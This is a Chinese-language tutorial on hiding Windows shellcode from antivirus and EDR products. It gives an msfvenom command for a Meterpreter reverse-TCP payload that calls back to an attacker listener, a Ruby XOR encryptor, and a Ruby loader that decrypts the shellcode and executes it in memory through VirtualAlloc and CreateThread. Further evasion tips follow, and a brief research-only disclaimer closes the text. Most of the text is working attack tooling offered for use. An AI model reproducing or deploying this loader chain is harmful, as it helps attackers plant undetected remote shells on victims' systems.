一、加密免杀的背后:如何绕过现代防御体系
在现代安全防御体系中,EDR(Endpoint Detection and Response)和传统的杀毒软件已经变得愈发强大。它们不仅能够基于病毒特征码检测危险程序,还可以通过行为分析、内存扫描、沙箱运行等手段识别恶意代码的实际行为。这意味着,传统的明文Shellcode(比如直接用Metasploit生成的)几乎不可能在现代环境下存活,更别提执行了。

那么,攻击者如何在这种环境中实现免杀并成功执行恶意代码?答案就是 Shellcode的加密与实时解密执行。通过对原始Shellcode进行加密,配合动态解密和内存加载技术,可以有效规避大多数静态和行为检测。
这一章里,我们先站在防御者的角度来思考攻击者的策略,然后逆向推导出加密免杀的攻击流程,最后进入实战环节。
---
二、工具链定制:构建你的加密Shellcode环境

要实现加密免杀,我们需要搭建一个完整的工具链,包含以下几个关键组件:
- Shellcode生成器:用作生成初始的攻击Payload;
- 加密器:对原始Shellcode进行加密处理,生成加密后的Payload;
- 解密加载器:负责将加密Payload动态解密并加载到目标进程内存中执行;
- 免杀测试平台:用于测试加密后的代码是否能绕过主流EDR和杀毒软件。
接下来,我们使用 Metasploit 和 Ruby 来完成整个工具链的搭建。
1. 生成原始Shellcode
首先,我们使用Metasploit生成一个标准的Windows x64架构的反向TCP Shellcode。这里的Payload是最基础的,也是最容易被杀毒软件检测到的。
<pre><code class="language-bash"># 使用msfvenom生成一个反向TCP的Shellcode msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > ./shellcode.bin</code></pre>
文件说明:
-p指定Payload类型,这里是反向TCP Meterpreter;LHOST/LPORT是攻击者的监听IP和端口;-f raw让输出为原始二进制格式。
生成的 shellcode.bin 是我们接下来要加密的目标。
---
2. 编写Shellcode加密脚本
接下来,我们使用Ruby实现一个简单的按字节异或加密器。它会为每个字节的Shellcode按照固定的密钥进行加密。
<pre><code class="language-ruby"># shellcode_encrypt.rb
加密工具:用固定密钥对Shellcode进行按字节异或加密
KEY = 0xAA # 加密密钥,可以随意更换,但需要保持解密脚本一致
def encrypt_shellcode(input_file, output_file) shellcode = File.binread(input_file) # 读取原始Shellcode encrypted = shellcode.bytes.map { |b| b ^ KEY } # 每个字节与KEY异或加密 File.binwrite(output_file, encrypted.pack('C')) # 写入加密后的Shellcode puts "[] Shellcode加密完成,已保存到 #{output_file}" end
encrypt_shellcode(ARGV[0], ARGV[1]) # 第一个参数是输入文件,第二个是输出文件</code></pre>
使用方法:
<pre><code class="language-bash">ruby shellcode_encrypt.rb shellcode.bin encrypted_shellcode.bin</code></pre>
加密完成后,encrypted_shellcode.bin 将是无法直接被检测到的。
---
3. 编写解密加载器
加密后的Shellcode需要动态解密并加载到内存中执行。以下是一个用Ruby实现的加载器示例,它使用Windows API来分配内存、写入Shellcode并执行。
<pre><code class="language-ruby"># shellcode_loader.rb require 'fiddle'
KEY = 0xAA # 解密密钥,必须和加密时一致
def decrypt_shellcode(shellcode) shellcode.bytes.map { |b| b ^ KEY }.pack('C*') # 解密过程 end
def execute_shellcode(shellcode)
动态调用 Windows API:VirtualAlloc, RtlMoveMemory 和 CreateThread
VirtualAlloc = Fiddle::Function.new( Fiddle::Handle::DEFAULT["VirtualAlloc"], [Fiddle::TYPE_VOIDP, Fiddle::TYPE_SIZE_T, Fiddle::TYPE_LONG, Fiddle::TYPE_LONG], Fiddle::TYPE_VOIDP )
RtlMoveMemory = Fiddle::Function.new( Fiddle::Handle::DEFAULT["RtlMoveMemory"], [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_SIZE_T], Fiddle::TYPE_VOID )
CreateThread = Fiddle::Function.new( Fiddle::Handle::DEFAULT["CreateThread"], [Fiddle::TYPE_VOIDP, Fiddle::TYPE_SIZE_T, Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP )
解密后的Shellcode写入内存并执行
decoded_shellcode = decrypt_shellcode(shellcode) mem = VirtualAlloc.call(nil, decoded_shellcode.bytesize, 0x1000, 0x40) # 分配可执行内存 RtlMoveMemory.call(mem, decoded_shellcode, decoded_shellcode.bytesize) # 写入解密后的Shellcode CreateThread.call(nil, 0, mem, nil, 0, nil) # 执行Shellcode end
读取加密的Shellcode文件并执行
encrypted_shellcode = File.binread(ARGV[0]) execute_shellcode(encrypted_shellcode)</code></pre>
使用方法:
<pre><code class="language-bash">ruby shellcode_loader.rb encrypted_shellcode.bin</code></pre>

这个脚本会先读取加密后的Shellcode文件,解密后动态加载到内存并执行。
---
4. 测试免杀效果
在本地环境中,我们需要在一台有EDR或杀毒软件的虚拟机上测试加密后的Shellcode是否能绕过防御。
可以使用以下工具来模拟检测:
- Windows Defender和Sysmon:检测文件与行为。
- Cuckoo沙箱:模拟恶意代码的运行环境。
测试时,如果能成功连接到攻击者的监听端,并且未触发任何安全警报,就证明免杀有效。

---
三、绕过检测的细节优化
目前的实现虽然基础,但可以根据以下几点进一步优化:
- 动态密钥生成:使用随机密钥对每次生成的Shellcode加密,增加变异性;
- 多层加密:对Shellcode进行多层嵌套加密,增加静态分析的难度;
- 流量混淆:通过C2协议加密避免网络检测;
- 内存清理:解密完成后立即清理内存中的Shellcode痕迹。
---
四、关于安全研究的个人心得
在免杀技术的研究过程中,我发现两点非常重要:
- 动态加载是基础:无论是Shellcode还是DLL,只要它是动态解密和加载,就能绕过大部分静态检测。
- 行为伪装是关键:即便绕过了静态特征检测,代码的行为如果太“恶意化”,依然会被EDR捕捉。
所以,不仅要关注Shellcode本身,更要关注它在运行时的“行为模式”,比如通过API Hook检测到的行为。
---
声明:本文仅供安全研究与授权测试使用,请勿非法利用技术进行攻击。